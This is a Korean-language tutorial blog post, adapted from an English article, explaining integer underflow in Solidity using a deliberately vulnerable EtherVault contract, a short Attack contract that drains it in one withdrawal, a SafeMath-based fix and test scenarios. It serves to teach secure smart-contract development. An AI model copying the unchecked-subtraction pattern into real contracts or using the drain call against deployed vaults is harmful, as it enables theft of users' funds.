Integer Underflow


https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-01-integer-underflow-c1147c2e507b

번역 및 내용을 추가하여 작성하였습니다.

다음과 같은 능력을 키우고 싶어 시작하게 되었습니다.

  • Solidity
  • Typescript
  • Truffle ,Hardhat, Ethers.js, Web3.js
  • Test Code 작성 능력

Integer Underflow는 공격자가 integer 타입에 대한 오버플로우를 이용하여 Contract에 있는 모든 Ether를 훔치는 공격입니다.

The Dependency

먼저 InsecureEtherVault Contract와 FixedEtherVault Contract에 필요한 ReentrancyGuard abstract 입니다.

Reentrancy Attack(재진입 공격)을 막기 위한 abstract Contract입니다.

  • Reentrancy Attack에 대해서는 다음편에서 설명하겠습니다.
pragma solidity 0.6.12;

abstract contract ReentrancyGuard {
    bool internal locked;

    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _;
        locked = false;
    }
}

The Vulnerability

아래는 사용자가 ETH를 입금하고, ETH를 출금하고, 잔액을 확인할 수 있는 간단한 보관소인 InsecureEtherVault Contract입니다.

pragma solidity 0.6.12;

import "./Dependencies.sol";

contract InsecureEtherVault is ReentrancyGuard {
    mapping (address => uint256) private userBalances;

    function deposit() external payable {
        userBalances[msg.sender] += msg.value;
    }

    function withdraw(uint256 _amount) external noReentrant {
        uint256 balance = getUserBalance(msg.sender);
        require(balance - _amount >= 0, "Insufficient balance");

        userBalances[msg.sender] -= _amount;
        
        (bool success, ) = msg.sender.call{value: _amount}("");
        require(success, "Failed to send Ether");
    }

    function getEtherBalance() external view returns (uint256) {
        return address(this).balance;
    }

    function getUserBalance(address _user) public view returns (uint256) {
        return userBalances[_user];
    }
}

withdraw()함수의 14번째 줄과 16줄에서 정수 언더플로우가 발생합니다.

이때 공격자가 가진 잔액이 5ETH 일때 공격자가 함수에 10ETH를 출금 요청 한다고 가정해보겠습니다.

해당 그림은 언더플로우가 어떻게 발생하는지 보여줍니다. 5에서 10을 빼는 경우, 보시다시피 계산된 값은 2의 256승 - 5로 원을 그리며 앞으로 이동합니다.

따라서 해당 구문에서 언더플로우를 발생시켜 계산된 값이 0보다 커지므로 통과합니다.

function withdraw(uint256 _amount) external noReentrant {
	...
	require(balance - _amount >= 0, "Insufficient balance");
	...
}

따라서 공격자는 단 한 번의 출금 트랜잭션으로 Contract에 잠긴 ETH를 모두 빼낼 수 있습니다.

가능한 공격

  1. 공격자 잔액 조작
  2. 단일 트랜잭션에서 모든 이더를 소진시키기

The Attack

Attack.sol

Attack Contract의 attack()함수는 InsecureEtherVault 컨트랙트에 있는 ETH를 모두 탈취할 수 있는 공격 컨트랙트입니다.

공격자는 한 푼도 입금하지 않고도 InsecureEtherVault Contract안에 있는 ETH를 모두 훔칠 수 있습니다.

pragma solidity 0.6.12;

interface IEtherVault {
    function withdraw(uint256 _amount) external;
    function getEtherBalance() external view returns (uint256);
}

contract Attack {
    IEtherVault public immutable etherVault;

    constructor(IEtherVault _etherVault) public {
        etherVault = _etherVault;
    }

    receive() external payable {}

    function attack() external {
        etherVault.withdraw(etherVault.getEtherBalance());
    }

    function getEtherBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

참고로 공격자는 InsecureEtherVault를 공격하기 위해 컨트랙트를 배포할 필요도 없습니다. 왜냐하면 공격자는 InsecureEtherVault.withdraw(InsecureEtherVault.getEtherBalance())를 바로 호출 할 수 있기 때문입니다.

공격자는 그림에서 볼 수 있듯이 45개의 ETH를 탈취 했습니다.(사용자1과 사용자2가 각각 10개와 35개의 이더를 예치했습니다)


The Solutions

Underflow issue를 막기 위한 2가지 예방책이 있습니다.

  1. 산술 연산을 위한 OpenZeppelin의 SafeMath 라이브러리 사용(solidity 0.8이하)
  2. solidity 0.8 이상의 버전 사용
    • 산술 연산에 Underflow, Overflow 감지 메커니즘이 내장되어 있습니다.
pragma solidity 0.6.12;

import "./Dependencies.sol";

// Simplified SafeMath
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        uint256 c = a - b;

        return c;
    }
}

contract FixedEtherVault is ReentrancyGuard {
    using SafeMath for uint256;

    mapping (address => uint256) private userBalances;

    function deposit() external payable {
        userBalances[msg.sender] = userBalances[msg.sender].add(msg.value);  // FIX: Apply SafeMath
    }

    function withdraw(uint256 _amount) external noReentrant {
        uint256 balance = getUserBalance(msg.sender);
        require(balance.sub(_amount) >= 0, "Insufficient balance");  // FIX: Apply SafeMath

        userBalances[msg.sender] = userBalances[msg.sender].sub(_amount);  // FIX: Apply SafeMath
        
        (bool success, ) = msg.sender.call{value: _amount}("");
        require(success, "Failed to send Ether");
    }

    function getEtherBalance() external view returns (uint256) {
        return address(this).balance;
    }

    function getUserBalance(address _user) public view returns (uint256) {
        return userBalances[_user];
    }
}

Test


Test Script는 github에 있습니다.
Source code link

InsecureEtherVault Contract

테스트 시나리오

  • 입금
    • 사용자는 입금할 수 있다.
    • 입금하지 않은 사용자의 잔액은 0이다.
  • 출금
    • 사용자는 자신이 입금한 돈을 모두 출금할 수 있다.
    • 사용자는 자신이 입금한 돈의 일부분을 출금할 수 있다.
    • 사용자가 출금 하려는 금액이 입금된 금액보다 클 경우 출금할 수 없다 → 실제 출금이된다.
    • 출금 함수 호출 시 출금 함수를 호출한 CA, EOA가 수신하지 못할 경우 revert한다.

Attack Contract

테스트 시나리오

  • Constructor
    • Attack Contract에 insecureEtherVault 컨트랙트가 등록되어 있다.
  • 공격
    • attack() 함수를 호출하면 InsecureEtherVault 컨트랙트에 있는 모든 잔액이 출금된다.

FixedEtherVault Contract

테스트 시나리오

  • 입금
    • 사용자는 입금할 수 있다.
    • 입금하지 않은 사용자의 잔액은 0이다.
  • 출금
    • 사용자는 자신이 입금한 돈을 모두 출금할 수 있다.
    • 사용자는 자신이 입금한 돈의 일부분을 출금할 수 있다.
    • 사용자는 출금 하려는 금액이 입금된 금액보다 클 경우 출금할 수 없다.

Coverage


Coverage를 올리기 위해 mock Contract를 추가로 작성하였습니다.

profile
좋은 개발자가 되고싶은

0개의 댓글